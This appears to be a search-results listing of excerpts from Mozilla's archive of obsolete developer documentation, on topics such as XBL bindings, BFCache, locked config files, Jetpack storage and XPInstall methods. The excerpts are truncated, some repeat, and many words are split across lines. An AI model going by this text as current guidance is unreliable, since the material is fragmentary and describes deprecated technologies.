ipts in separate files. but you must link those files from the document as a whole. another structural limitation concerns content. you can use css to provide content for selected elements, but the content is limited to text and images, and its positioning is limited to before or after the selected element. mozilla provides a mechanism that overcomes these limitations: xbl (xml bindings language). y...
...s> make a new css file, bind6.css. this separate stylesheet contains style for the binding. copy and paste the content from here: /*** xbl demonstration ***/ [anonid="square"] { width: 20em; height: 20em; border: 2px inset gray; } [anonid="button"] { margin-top: 1em; padding: .5em 2em; } open the document in your browser and press the button. this wiki does not support javascr
ipt in pages, so it is not possible to show the demonstration here. it looks something like this, before and after you press the button: notes about this demonstration: the html document links the document stylesheet as usual, but it does not link any javascr
ipt code. the document does not contain any buttons. it only contains the text of the button's label. the button is adde...
...so the binding is self-contained. challenges change the xbl file so that the square doubles in width when it changes color, instead of jumping to the right. use the dom inspector tool to inspect the document, revealing the added content. ...
Case Sensitivity in class and id Names - Archive of obsolete content
summary: although css is itself case-insensitive, class and id names are defined to be case-sensitive in html 4.01. find out how this wrinkle can affect your site design and best practices to avoid any problems. in the authoring of both css and javascr
ipt/dom (otherwise known as dhtml) routines, it is a near-certainty that class and id names will be used to identify elements. we have discovered, however, that many authors are running into trouble with class and id names because they're used to the bugs of browsers that don't fully support open standards. the most common case is where the name uses different case in the document source than is found in the css or javascr
ipt. for example, there might be this css: p.warning {color: red; background: yellow;} ...coupled with this html: ...
... and warning are two different identifiers, because html 4.01 defines class and id names to be case-sensitive. (for a detailed explanation of what html 4.01 says, see the following section, "why so case-sensitive?") the only way to avoid this particular problem is to make sure that your class and id names have consistent case throughout the entire document, and with respect to your css and javascr
ipt. it is also important to avoid using class or id names which are a case-insensitive match within the same document. for example, you would not want to do something like: .urgent {color: purple;} .urgent {color: yellow;} even though these are technically two distinct class names, browsers other than netscape 6 will treat them as though they are the same thing. therefore, authors should not rely ...
...d on a close reading of the html 4.01 specification. in section 7.5.2, which defines class and ids, we find the following text: id = name [cs] this attribute assigns a name to an element. this name must be unique in a document. class = cdata-list [cs] this attribute assigns a class name or set of class names to an element. any number of elements may be assigned the same class name or names. mult
iple class names must be separated by white space characters. the marker "[cs]" means "case sensitive," as defined in section 6.1 of the specification. thus, the mozilla team, committed to following open standards as closely as possible, implemented both class and id names as case-sensitive values. as of this writing, netscape 6 is the only browser to honor this defined behavior; other browsers tr...
Images, Tables, and Mysterious Gaps - Archive of obsolete content
en the developer cannot assume that users have a modern browser, such as for html-based e-mail messages. almost no matter when you started creating web pages, odds are pretty high you have one or more designs based on the classic "convoluted tables and lots of images" paradigm. whether you've sliced up a logo so it fits in well with the design, or used tons of single-pixel spacer gifs, the princ
iples (and perils) remain largely the same. back in the early days, this approach worked, because browsers would usually make a table cell exactly as wide and tall as an image it contained. fast forward to 2001, and the rise of standards-based browsers that lay out pages using html and css instead of their own private layout algorithms. thanks to an obscure corner of the css specification, every de...
...mg src="nav1.gif"><img src="nav2.gif"><img src="nav3.gif"><img src="nav4.gif"><img src="nav5.gif"></td></tr> <tr><td style="background: red;"> <img src="smallred.gif" height="1" width="1"></td></tr> <tr><td> <p style="margin: 0.5em;">this is text in another cell of the table. within the textthere is an icon <img src="icon2.gif"> that indicates a link to another site. it's very worldly. lorem
ipsum, dolor sit amet...</p></td></tr></table> as we see in figure 8, that works well in some cases but not so well in others. the thin red line shows that the single-pixel spacer gif is now only making the cell one pixel tall, as the designer intended. unfortunately, the buttons in the top cell are all now block-level and so end up stacked on top of one another instead of being shown side-by-si...
... aligned with the bottom of the cell now, but the line box is back and it's the size of normal text. see, for example, figure 11, where the font-size of the document has been raised to a large amount. the navbar images now have space appearing above them, and the red spacer got even bigger. it's difficult to avoid this, because the images are (in this approach) still inline and so still partic
ipate in the creation of a line box. if that line box gets tall enough, space will begin to appear around the images. looking forward to a fix thanks to mozilla's thorough implementation of css2, the problem of inline images in table cells forcing open unwanted space has come to the attention of the css working group. there have been many proposals to fix the problem, but one of the most promising...
Working with BFCache - Archive of obsolete content
lobal scope object in content js) is either thrown away when gc happens, or frozen and placed in the bfcache. when the user hits the 'back' button, either the window in bfcache is thawed or a new inner window is created, depending on whether there's a window in the bfcache. ...
... the window was there but invisible? are scr
ipts recompiled? where do they live while the page was invisible? ...
...arsing from the original html source. that might come from the http cache or not, depending on whether it's been evicted; typically it does come from the http cache. the dom is recreated during the parsing process, and scr
ipts are recompiled (and also reloaded, probably from the http cache). in the bfcache case, freezing the window just marks it as frozen; the dom is preserved, as are compiled scr
ipt objects. thawing marks it as thawed. freezing suspends timeouts and interval timers on the frozen window, so they won't execute. the scr
ipt that's running when the window is frozen runs to completion, as it would if it were being closed, for example. after that, only scr
ipts running on other windows can touch this window; if they modify the dom, the cached dom and window is thrown away. q: and t...
Locked config settings - Archive of obsolete content
putting into place locked configuration settings this feature exists for mozilla and firefox, but not for thunderbird locked settings can be put into a mozilla.cfg file in the c:\program files\mozilla.org\mozilla directory. the mozilla.cfg file is an encoded file of javascr
ipt commands. the encoding is a simple "byte-shifting" with an offset of 13 (netscape 4 used a similar encoding, but with a of 7 instead). ...
... an offset of 13 (netscape 4 used a similar encoding, but with a of 7 instead). this file also needs to be "called" from c:\program files\mozilla.org\mozilla\defaults\pref\all.js by appending the following line at the end: pref("general.config.filename", "mozilla.cfg"); note: newer versions of mozilla or firefox store the all.js file in greprefs rather than defaults\pref the moz-byteshift.pl scr
ipt allows to encode...: moz-byteshift.pl -s 13 <mozilla.cfg.txt >mozilla.cfg ... and to decode mozilla.cfg files: moz-byteshift.pl -s -13 <mozilla.cfg >mozilla.cfg.txt example of an unencoded file: mozilla.cfg.txt. the lockpref command puts into place a locked preference, whereas the defaultpref command merely puts into a place a default value (which the user may override in his prefs.js file).
...e encoding of the file is pretty trivial, the encoding as such does not provide any real security. instead make sure that file protections make this file unmodifiable by the unprivileged user. moreover, some settings (such as mail & news configuration) unfortunately seem to be inaccessible to mozilla.cfg, which means that these cannot be locked. if you have trouble getting the moz-byteshift.pl scr
ipt to work locally, there is also an online version available. note: in recent versions of mozilla (tested on windows and linux, with 1.5, 1.6 and 1.7b), the mozilla.cfg file needs to be placed in mozilla's root directory, rather than default\pref where all.js resides. if you suspect syntax errors in your config file, you can display the exact error message by enclosing your code in a try-catch blo...
Protecting Mozilla's registry.dat file - Archive of obsolete content
ory on the server. however, this issue is problematic, because: when the users logs in for the first time, windows 2000 apparently doesn't load the profile from the server... ...
... (which is hard to kick off completely) likes to install "personnalized settings" when the user logs in for the first time, and this seems to have the interesting "side-effect" of w
iping any non-microsoft subfolders from %userprofile%\application data, including mozilla's . in order to prevent this, it's preferable to have mozilla's registry.dat file copied over from the server using the logon scr
ipt. moreover, it's advisable to "protect" the mozilla registry using attrib +r +s in case the logon scr
ipt is finished before ie's "personnalized settings" have completed their dirty deed... ...
...illa's . in order to prevent this, it's preferable to have mozilla's registry.dat file copied over from the server using the logon scr
ipt. moreover, it's advisable to "protect" the mozilla registry using attrib +r +s in case the logon scr
ipt is finished before ie's "personnalized settings" have completed their dirty deed... ...
contents.rdf - Archive of obsolete content
nd paste it into a text file, then save that file as "contents.rdf": <?xml version="1.0"?> <rdf:rdf xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:chrome="http://www.mozilla.org/rdf/chrome#"> <!-- list all the skins being supplied by this theme --> <rdf:seq about="urn:mozilla:skin:root"> <rdf:li resource="urn:mozilla:skin:myskin/1.0" /> </rdf:seq> <rdf:descr
iption about="urn:mozilla:skin:myskin/1.0" chrome:displayname="my skin" chrome:accesskey="m" chrome:author="me" chrome:descr
iption="this is my custom skin for mozilla" chrome:name="myskin/1.0" chrome:image="preview.png"> <chrome:packages> <rdf:seq about="urn:mozilla:skin:myskin/1.0:packages"> <rdf:li resource="urn:mozilla:skin:myskin/...
...1.0:packages"> <rdf:li resource="urn:mozilla:skin:myskin/1.0:communicator"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:editor"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:global"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:messenger"/> <rdf:li resource="urn:mozilla:skin:myskin/1.0:navigator"/> </rdf:seq> </chrome:packages> </rdf:descr
iption> <!-- version information. state that we work only with major version 1 of this package. --> <rdf:descr
iption chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:communicator"/> <rdf:descr
iption chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:editor"/> <rdf:descr
iption chrome:skinversion="1.0" about="urn:mozilla:skin:myskin/1.0:global"/> <rdf:descr
iption...
...is package. ...
DTrace - Archive of obsolete content
mozilla dtrace support has been added by the sun dtrace team and can be used on solaris 10 and mac os x 10.5. dtrace has been largely supplanted by the gecko profiler and other tools, so this documentation has been archived. ...
... the codebase may be enabled by default in the future, but for now you'll need to create a build with --enable-dtrace (on mac os x you also have to use at least the 10.5 sdk for --with-macos-sdk, unlike the common configuration that uses the 10.4 sdk). trunk nightly builds with shark support (*-mac-shark.dmg here) are built with --enable-dtrace. documentation writing scr
ipts a general introduction to writing d scr
ipts and using the built-in mozilla probes. optimizing javascr
ipt with dtrace a guide on profiling javascr
ipt code using dtrace. adding probes a guide on creating probes and the build system magic needed to add probes to your code. pounce on dtrace a guide to using dtrace on mac os x 10.5. dtrace for web developers ...
...ode. ...
Helper Apps (and a bit of Save As) - Archive of obsolete content
sk if a user decides to "save to disk", we just move/copy the temporary file over to the chosen location once the download completes. if an error occurs while we do this we delete the temp file and put up an error dialog. launching a helper application this is delegated to the nspiexternalapplauncher (also implemented by the nsexternalhelperapphandler): windows: launch either directly via ns
iprocess or via the ::shellexecute() method depending on where the mimeinfo came from. last-ditch check for executable files here. mac: use the launchwithdoc() method on nsilocalfilemac. unix: launch directly via ns
iprocess. security considerations mult
iple checks for whether a file is executable (on windows) to keep from launching such files via ::shellexecute(). checks happen in onstartreques...
... ongoing work support synchronous dialogs, not just asynchronous ones (fixes many issues related to pre-downloading, content-decoding, etc). reworking the nsimimeservice api to improve the quality of the mimeinfo we get. reworking the helper app dialog to save user choices better. gnome integration for unix. ...
... ongoing work support synchronous dialogs, not just asynchronous ones (fixes many issues related to pre-downloading, content-decoding, etc). reworking the nsimimeservice api to improve the quality of the mimeinfo we get. reworking the helper app dialog to save user choices better. gnome integration for unix. ...
Simple Storage - Archive of obsolete content
under active development. read the experiment report for what we learned from it and the blog post announcing the first sdk release for what we're up to next! the jetpack.storage.simple namespace provides an easy way to persist data across browser restarts. it's a simple key-based persistent object data store. simple storage is really simple. jetpack.storage.simple is a single, persistent javascr
ipt object private to each jetpack. for the most part this object is like any other javascr
ipt object, and a jetpack can set whatever properties it wants on it. to man
ipulate its persistent data, a jetpack therefore need only use the various standard javascr
ipt functions and operators. the jetpack.simple.storage object is automatically and periodically flushed to disk. how and when it is flushed is ...
...isk. how and when it is flushed is an implementation detail. jetpacks can flush it manually, however, by calling jetpack.storage.simple.sync(). the object can also be forced to reload its data from disk by calling jetpack.storage.simple.open(), although the data comes loaded automatically. don't abuse these methods, since they cause firefox -- all of firefox -- to drop what it's doing to make a tr
ip to the disk. if you call them too often, firefox may become unresponsive for some of your users. unless you are doing something strange, let jetpack flush your data for you. the namespace currently lives in the future and must be imported before it is used: jetpack.future.import("storage.simple"); methods sync()as described above, the jetpack.storage.simple object is automatically written to dis...
...they could have simply used jetpack.storage.simple directly. here's a complete real-world example. it's a simple note-taking jetpack. select some text on the page, right-click, and select note. the text will be remembered across browser restarts as a note. all notes are shown in the tools menu. you can install this example from the jetpack gallery. jetpack.future.import("menu");jetpack.f...
System - Archive of obsolete content
note: this page documents the jetpack prototype, which is no longer under active development. ...
... note: this page documents the jetpack prototype, which is no longer under active development. ...
...nger under active development. ...
Simple Storage - Archive of obsolete content
the jetpack.storage.simple namespace provides an easy way to persist data across browser restarts. it's a simple key-based persistent object data store. simple storage is really simple. jetpack.storage.simple is a single, persistent javascr
ipt object private to each jetpack. for the most part this object is like any other javascr
ipt object, and a jetpack can set whatever properties it wants on it. to man
ipulate its persistent data, a jetpack therefore need only use the various standard javascr
ipt functions and operators. the jetpack.simple.storage object is automatically and periodically flushed to disk. how and when it is flushed is an implementation detail. jetpacks can flush it manually, however, by calling jetpack.storage.simple.sync(). the object can also be forced to reload its...
...isk. how and when it is flushed is an implementation detail. jetpacks can flush it manually, however, by calling jetpack.storage.simple.sync(). the object can also be forced to reload its data from disk by calling jetpack.storage.simple.open(), although the data comes loaded automatically. don't abuse these methods, since they cause firefox -- all of firefox -- to drop what it's doing to make a tr
ip to the disk. if you call them too often, firefox may become unresponsive for some of your users. unless you are doing something strange, let jetpack flush your data for you. the namespace currently lives in the future and must be imported before it is used: jetpack.future.import("storage.simple"); methods sync()as described above, the jetpack.storage.simple object is automatically written to dis...
...they could have simply used jetpack.storage.simple directly. here's a complete real-world example. it's a simple note-taking jetpack. select some text on the page, right-click, and select note. the text will be remembered across browser restarts as a note. all notes are shown in the tools menu. you can install this example from the jetpack gallery. jetpack.future.import("menu"); jetpack.
Metro browser chrome tests - Archive of obsolete content
running the metro browser chrome tests to run mochitest, first build mozilla with your changes; then run ./mach mochitest-metro this will launch metro browser chrome tests in the default immersive browser. ...
...running the metro browser chrome tests to run mochitest, first build mozilla with your changes; then run ./mach mochitest-metro this will launch metro browser chrome tests in the default immersive browser. ...
...ain test exectuon loop in head.js. adding a new browser chrome test to the tree to add a new metro browser chrome test add the test file to the browser_tests variable in /browser/metro/base/tests/mochitest/makefile.in. your test file name must be prefixed with "browser_", and must have a file extension of ".js". files that don't match this pattern will be ignored by the test harness. using a descr
iptive file name is strongly encouraged instead of just using a bug number. ...
BundleLibrary - Archive of obsolete content
contributions from the developer community. bundles gmail: gmail.webapp google calendar: gcalendar.webapp google docs: gdocs.webapp google groups: groups.webapp google analytics: ganalytics.webapp google reader: greader.webapp facebook: facebook.webapp twitter: twitter.webapp user contributed bundles gmail w/gtalk: gmail.webapp (note: work with latest version of prism!) 32 online todo lists: z
ip file with web apps for 32 online todo lists anywhere.fm: anywhere.fm@prism.app.webapp a service that lets you upload your entire music library to their servers and listen from anywhere through a slick flash interface. aol email : aolemail.webapp bbc radio player bbcradioplayer.webapp bloglines : bloglines.webapp bloglines beta: beta.bloglines.webapp chandler: chandler.webapp flash earth (integrat...
...p.webapp a service that lets you upload your entire music library to their servers and listen from anywhere through a slick flash interface. aol email : aolemail.webapp bbc radio player bbcradioplayer.webapp bloglines : bloglines.webapp bloglines beta: beta.bloglines.webapp chandler: chandler.webapp flash earth (integrates all major mapping sites) flashearth.webapp flickr: flickr.webapp gollum wik
ipedia browser in english:gollum_en.webapp google notebook: gnote.webapp google page creator: google_pagecreator.webapp google reader + gtalk : prism-bundle-google-reader-with-gtalk.webapp google webmaster tools: google_webmastertools.webapp grandcentral inbox: grandc.webapp (note: grandcentral requires the flash plugin. only way i found to add the flash plugin to webrunner was to copy my plugins fo...
...app grandcentral inbox: grandc.webapp (note: grandcentral requires the flash plugin. only way i found to add the flash plugin to webrunner was to copy my plugins folder from firefox to the webrunner folder. not the cleanest, but it got all my plugins at once) istylr: istylr.webapp online web design tool (full win installer bundled with prism is available here - thanks to lars eric for his nsis scr
ipt) meebo: meebo.webapp miro guide: miroguide.webapp motor0: motor0.webapp useful webapp on maintenance and fuel consumptions managment pandora: pandora@prism.app.webapp internet radio that only plays music you like. reddit: reddit.webapp remember the milk: rtm.webapp (note: should work with google gears with some help) rsizr image editor rsizr.webapp seeqpod: seeqpod.webapp playable music search e...
Hacking wiki - Archive of obsolete content
nstructions. the <tt>css</tt> folder contains files that are supposed to be in the <tt>/css</tt> directory of the site.) to get a working install, you need to configure mediawiki. it's done by navigating to <tt>/config/index.php</tt> in your web browser. polvi claims that you'll have it, but in case you don't, you can copy one from the mediawiki tarball. once you're done with the configuration scr
ipt, copy the <tt>config/localsettings.php</tt> file it created to the parent directory and navigate to the location you installed mediawiki to. a main page should appear. you can log in and switch the skin to devmo if you like. mdc customizations the mdc wiki uses a few mediawiki extensions. you can enable them by adding include("extensions/exampleext.php"); to the end of your <tt>localsetting...
...ettings.php</tt> file it created to the parent directory and navigate to the location you installed mediawiki to. a main page should appear. you can log in and switch the skin to devmo if you like. mdc customizations the mdc wiki uses a few mediawiki extensions. you can enable them by adding include("extensions/exampleext.php"); to the end of your <tt>localsettings.php</tt>. for example: [sn
ip] include("extensions/breadcrumbs.php"); include("extensions/titleoverride.php"); include("extensions/abbr.php"); include("extensions/object.php"); include("extensions/kbd.php"); ?> tbd installing/configuring rss and doxygen extensions - anything special needs to be done? the title-override / breadcrumbs extensions need an additional table created. to configure it, run <tt>update-devmo.php</tt> ...
...tional table created. to configure it, run <tt>update-devmo.php</tt> from the command line. the following worked for me (from the <tt>www</tt> directory): /path/to/php -f ./maintenance/update-devmo.php done you should have a working install of the mdc wiki now. if you have problems with setting up the mdc wiki (and not the web server or php or mediawiki), feel free to ask in #devmo. random t
ips you can set the file to log by putting something like this in your localsettings.php: $wgdebuglogfile = 'c:\\123'; you can then use wfdebug() function to write to the log. ...
Table Layout Regression Tests - Archive of obsolete content
test failures. change the source if necessary until the regression tests indicate that your patch does not fork the block and table layout submit your patch and lists the remaining differences in the bug be prepared to cycle. how the layout regression tests work first the url's to test are red from rtest.lst files in various directories. layout/html/tests/block/rtest.lst points to them. sn
ippet from rtest.lst in the table/marvin directory: body_col.html body_tbody.html body_tfoot.html body_thead.html col_span.html the regression tests compare the frame tree dumps recorded at two different times. the url's to test are red from rtest.lstfor every file in rtest.lst mozilla takes the root frame and dumps the whole tree via nsframe::dumpregression. the frame tree dumps are invoked by th...
...++webshell == 1 ++domwindow == 1 ++webshell == 2 ++domwindow == 2 note: styleverifytree is disabled note: frameverifytree is disabled note: verifyreflow is disabled ++webshell == 3 ++domwindow == 3 running baseline test for e:\moz_src\mozilla\layout\html\tests\block\rtest.lst. writing regression data to e:\moz_src\mozilla\layout\html\tests\block\base\baseline\width-fix...
...sts\block\base\baseline\pre1_html.rgd the second verify run creates first the frame dumps in the verify subdirectories (verify) and compares each frame dump with the corresponding reference frame dump. if they differ in critical points the test fails. a typical part of the verify log would look like: type manifest file: e:\moz_src\mozilla\obj-i586-pc-msvc\dist\bin\components\xpti.dat +++ javascr
ipt debugging hooks installed. ++webshell == 1 ++domwindow == 1 ++webshell == 2 ++domwindow == 2 note: styleverifytree is disabled note: frameverifytree is disabled note: verifyreflow is disabled ++webshell == 3 ++domwindow == 3 running verify test for e:\moz_src\mozilla\layout\html\tests\block\rtest.lst. writing regression data to e:\moz_src\mozilla\layout\html\tests\table\core\verify\standards1.rg...
Tamarin Acceptance Test Template - Archive of obsolete content
e. if you wish to allow use of your version of this file only * under the terms of either the gpl or the lgpl, and not to allow others to * use your version of this file under the terms of the mpl, indicate your * decision by deleting the provisions above and replace them with the notice * and other provisions required by the gpl or the lgpl. ...
...ecision by deleting the provisions above and replace them with the notice * and other provisions required by the gpl or the lgpl. if you do not delete * the provisions above, a rec
ipient may use your version of this file under * the terms of any one of the mpl, the gpl or the lgpl. * * ***** end license block ***** */ var section = "test"; // provide a document reference (ie, actionscr
ipt section) var version = "as3"; // version of ecmascr
ipt or actionscr
ipt var title = "test"; // provide ecma section title or a descr
iption var bugnumber = ""; starttest(); // leave this alone /** * calls to addtestcase here. addtestcase is a function that is defined * in shell.as and takes three arguments: * - a string representation of what is being tested * -...
... // leave this alone /** * calls to addtestcase here. addtestcase is a function that is defined * in shell.as and takes three arguments: * - a string representation of what is being tested * - the expected result * - the actual result * * for example, a test might look like this: * * var helloworld = "hello world"; * * addtestcase( * "var helloworld = 'hello world'", // descr
iption of the test * "hello world", // expected result * helloworld ); // actual result * */ // add your tests here var helloworld = "hello world"; addtestcase( "var helloworld = 'hello world'", "hello world", helloworld ); test(); // leave this alone. this executes the test cases and // displays results. ...
The new nsString class implementation (1999) - Archive of obsolete content
r strings no support for external memory management policy lack of xpcom interface notable features of the new nsstrimpl implementation are: intrinsic support for 1 and 2 byte character widths provides automatic conversion between strings with different character sizes inviolate base structure eliminates class fragility problem; safe across dll boundaries offers c-style function api to man
ipulate nsstrimpl offers simple memory allocator api for specialized memory policy shares binary format with bstring coming soon: a new xpcom (nsistring) interface non-templatized; this is a requirement for gecko very efficient buffer man
ipulation architecture the fundamental data type in the new architecture is struct nsstrimpl, given below: struct nsstrimpl { print32 mlength; void* mbu...
...emory efficiency is essential i would argue that only the first case is normatively legitimate. the i18n folks will tell you it's better to use a wide string and convert to 1-byte forms for this purpose even though there is a performance penalty for doing so. since i have to acknowledge the idiom, i have made nscstring available but note that it should be used sparingly. memory management a princ
ipal enhancement of the new architecture is pluggable memory allocators. all nsstring subclasses provide their own default allocator implementations, but programmers are free to use their own. in the new prototype nsstrimpl and nsstring classes, the allocator is an intrinsic member installed during construction of the string (by default they share a global allocator). note: the com rules imply that ...
...llocator is an intrinsic member installed during construction of the string (by default they share a global allocator). note: the com rules imply that everyone needs to use the same allocators, that they acquire via a global com service called cogetmalloc(). our nsstrimpl uses an allocator pattern so that programmers can install their own policy, but this may also make allocation simpler in a mult
iprocess environment. i'm wondering if this is sufficient, namely, that a string can return it's own (shared) allocator for this purpose. our minimalistic nsimemoryagent interface is just rich enough to support the nsstring idiom, and could be extended to serve as the general memory allocation idiom. here's it's api: class nsimemoryagent : nsisupports { void* new(nsint32 asize)=0; //used for both...
URIs and URLs - Archive of obsolete content
every uri scheme is represented by a protocol handler. sometimes a protocol handler represents more than one scheme. the protocol handler provides scheme specific information and methods to create new uris of the schemes it supports. one of the main necko goals is to provide a "plug able" protocol support. this means that it should be possible to add new protocols to necko just by implementing ns
iprotocolhandler and nsichannel. it also might be necessary to implement a new urlparser for a new protocol but that might not be necessary because necko already provides uri implementations that can deal with a number of schemes, by implementing the generic urlparser defined in rfc 2396. nsiuri and nsiurl in a strict sense necko does only know urls, uris by the above definition are much too generic...
...bject with pointers (position and length) to each basic segment and for the more global segments like path and prehost for example. necko provides pre written urlparsers for schemes based on hierachical naming systems. escaping to be able to parse an url safely it is sometimes necessary to "escape" certain characters, to hide them from the parser. an escaped character is encoded as a character tr
iplet, consisting of the percent character "%" followed by the two hexadecimal digits representing the octet code. for example, "%20" is the escaped encoding for the us-ascii space character. another quote from rfc 2396: a uri is always in an "escaped" form, since escaping or unescaping a completed uri might change its semantics. normally, the only time escape encodings can safely be made is when ...
...x that is common to most url schemes that are currently in existence. sometimes scheme specific parsing is required. also to be somewhat tolerant to syntax errors the parser has to know more about the specific syntax of the urls for that scheme. to stay almost generic necko contains three parsers for the main classes of standard urls. which one has to be used is defined by the implementation of ns
iprotocolhandler for the scheme in question. the three main classes are: authority the urls have an authority segment, like "http". noauthority these urls have no or a degenerated authority segment, like the "file" scheme. also this parser can identify drives if possible depending on the platform. standard it is not known if an authority segment exists or not, less syntax co...
When To Use ifdefs - Archive of obsolete content
"ifdefs", or conditional instructions, are used to build different code what are ifdefs ifdefs are conditional directives to a text preprocessor which mark that certain blocks of code are used only in certain conditions. in this document, the term is used more loosely to discuss any kind of conditional that differentiates between different build configurations. ...
...the mozilla tree: platform/widget ifdefs, feature ifdefs, and application-specific ifdefs: platform/widget ifdefs the mozilla code will frequently need to differentiate between code for different platforms or widget sets. these ifdefs are generally always acceptable. the only time when they might be a problem is in cross-platform extension code and locales: since this code is downloaded on mult
iple platforms, platform-specific ifdefs are generally out of the question. for an example of platform-specfic ifdefs, see nscrt.h. feature ifdefs the mozilla code has many features that can be enabled or disabled by configure flags. for instance, it is possible to disable most of the xul rendering engine by specifying --disable-xul when configuring the build. when adding ifdefs that implement th...
...see nscrt.h. feature ifdefs the mozilla code has many features that can be enabled or disabled by configure flags. for instance, it is possible to disable most of the xul rendering engine by specifying --disable-xul when configuring the build. when adding ifdefs that implement these configure flags, care must be taken to obey the build dependencies. for instance, xpcom, the spidermonkey javascr
ipt engine, and the networking engine do not know anything about xul and should not have any ifdefs based on --disable-xul. one special "feature ifdef" that deserves special attention is "moz_xul_app". this variable marks any application that is using the "toolkit". moz_xul_app ifdefs are not acceptable in tier 9, but are acceptable (even necessary) in later tiers. for an example of feature ifdefs, ...
Binding Attachment and Detachment - Archive of obsolete content
ut are inside an element that has style display:none set. see bug 307098. whenever an element is removed from a document, any bindings attached via css loaded by the document will be detached. attachment using element.style property none of the xbl inheritance properties of element.style.mozbinding described here are implemented (if ever). bindings can be attached to elements through the scr
ipting by assigning the element.style.mozbinding property. respectively bindings can be detached by setting element.style.mozbinding to empty string. note: some older papers mentioned dom methods document.addbinding and document.removebinding; these were subsequently discarded as redundant and not implemented. var checkbox = document.getelementbyid("mycheckbox"); checkbox.style.mozbinding = "url(...
...ment.style.mozbinding to empty string. note: some older papers mentioned dom methods document.addbinding and document.removebinding; these were subsequently discarded as redundant and not implemented. var checkbox = document.getelementbyid("mycheckbox"); checkbox.style.mozbinding = "url(http://www.mozilla.org/xbl/htmlbindings.xml#checkbox)"; this attachment is not necessarily synchronous. scr
ipts that invoke this method should not assume that the binding is installed immediately after this method returns. see binding documents for more information. when a binding is attached using the dom, it inherits from the current most derived binding that may already be attached to the element. any bindings attached to an element will remain on the element until the element is destroyed or the cor...
... that are created during or after the load event is fired, no assumptions can be made regarding order of binding attachment. when a binding is attached, the following events occur: if required, anonymous content is cloned from the binding's content template and inserted around the bound element. the methods and properties of the binding are installed on the element and become available to scr
ipts that reference the bound element. any specified event handlers are installed on their requested targets. if the binding needs to execute any initialization code following its attachment to an element, it can do so using a <constructor> block inside <implementation> section. this block contains scr
ipt that executes upon completion of the binding attachment. within this block this refers to th...
Binding Implementations - Archive of obsolete content
two basic types of properties. the first type of property is a raw value that is set directly on the element itself. the second type of property is one that defines functions that are invoked when the property is either retrieved or set. these functions are called getters and setters in xbl. for properties with raw values, an initial value can be specified as a child of the property tag. the scr
ipt is evaluated at the time of binding attachment and the resulting value is stored on the element. it can be assumed that the anonymous content of the binding has been fully constructed, although the bindingattached event will not have fired. property initialization always takes place after content generation but before the firing of a binding attachment event, since the bindingattached handler ne...
...ince the bindingattached handler needs to be able to assume that all properties will be accessible on the binding. properties with getters and setters can define them using onget and onset attributes, or using the more verbose getter and setter elements. if both the attribute form and the element form are used to specify a getter or setter, then the element form is ignored. a getter contains scr
ipt whose return value is handed back when the property is requested. a setter contains a scr
ipt that is invoked when a new value is assigned to the property. in scr
ipt, the word val is used to represent the new value. properties can be designated as constant using the readonly attribute. when set to true, the property's value cannot be altered. if a property is readonly and a setter is defined, th...
...e property for an htmlinputelement. the following is currently not implemented in mozilla, it seems. see bug #373652 for some details. implementations can be named using a name attribute specified on the implementation element. when an implementation has a name, that name can be used to disambiguate the desired method or property. note: the following paragraphs suggest a syntax for how javascr
ipt might enable access to base class methods and properties. this is an open issue. should we attempt to define a language-independent abstraction, or specify that it must be possible to access base bindings' methods and properties? for example, given a binding with an implementation colorpickergrid that derives from an implementation colorpicker where the two implementations both specify the set...
Unix stub installer - Archive of obsolete content
copy the xpi directory into the src2 directory you are debugging from. run the i...
...ry grab a nightly build, say from <http://ftp.mozilla.org/pub/mozilla/n...staller.tar.gz> gunz
ip and untar the build to some temporary location like /tmp. copy the installer.ini and config.ini files over into the src2 directory. if you don't want the installer to download then grab a nightly "full" installer, say from <ftp://ftp.mozilla.org/pub/mozilla/ni...gnu-sea.tar.gz>. then untar and gunz
ip this to /tmp. copy the xpi directory into the src2 directory you are debugging from. run the installer from the src2 directory by either using the mozilla-installer shell scr
ipt or the mozilla-installer-bin binary with the appropriate flags. if you need to use gdb to debug the installer run it by typing "gdb mozilla-installer-bin" on the shell prompt. how we get setup to debug the xpinstall e...
...ine through the xpistub once the xpistub dll is loaded. how do i add an installer package to the unix installer? adding a package involves a few steps: add a section named for your <component> to the packages-unix manifest that describes which files from dist belong to which module. for example, see the xpcom section that lists all the shared libraries as seen in dist. these are eventually z
ipped with the directory structure preserved. read the top of the packages-unix file for it's simple syntax and semantics. add an <component>.jst install scr
ipt template file (the jst extension stands for javascr
ipt template indicating this is a template for the final install.js for the <component>.xpi. checkin the <component>.jst to the: <http://lxr.mozilla.org/seamonkey/sou.../packager/unix> dire...
execute - Archive of obsolete content
ac os). see note below. blocking a boolean value that specifies whether the installation should wait for the execution of the file to finish before it resumes. default is false. see note below. the blocking parameter is not available as part of this method in versions of netscape before 6.1/mozilla 0.9.3. returns an integer error code. for a list of possible values, see return codes. descr
iption the execute method extracts the named file from the xpi file to a temporary file name. your code must call the performinstall method to actually execute the file. you can use this method to launch an installshield installer or any install executable file stored in a xpi file. executing installed files note: if the file you wish to execute is one you are installing (as opposed to an install...
...ble file stored in a xpi file. executing installed files note: if the file you wish to execute is one you are installing (as opposed to an installer executable that you plan to delete once it runs), then use the execute method on the file object instead. file.execute() executes an installed file (such as a browser) after it has been installed, and is typically placed at the end of an install scr
ipt and outside of the main install block. the install object's execute method, on the other hand, deletes the executable from its temporary location once it has finished. the optional blocking argument, when set to true, specifies that the installation should wait for this executable to finish before processing the next queued install command. if you do not set this flag and launch an executable th...
...rs can be broken up and passed separately as required. in general, you should use single quotes for the args string and double quotes to delimit the command-line arguments within args. the following parsing rules apply: double quotes are treated as quotes; single quotes are ignored by the executable but legal in the execute() method. the outer quotes that frame the args string itself are str
ipped off when the string is passed to the executable. quotes that are escaped, or "backslashed," are passed through the executable intact. all other backslashed cases are ignored. this means that in order to pass three command-line arguments (-c, -d, and -s) to the executable, you should format the args string as follows: err = file.execute(myfile, '"-c""-d""-s"', true); //technically, given t...
initInstall - Archive of obsolete content
name can be absolute or relative. a relative pathname is relative to the netscape 6 namespace. a relative pathname must start with plugins/, to be relative to the plug-ins portion of that namespace or java/download/, to be relative to the java portion. all other parts of the netscape 6 area of the registry are reserved for use by netscape. the client version registry is a hierarchical descr
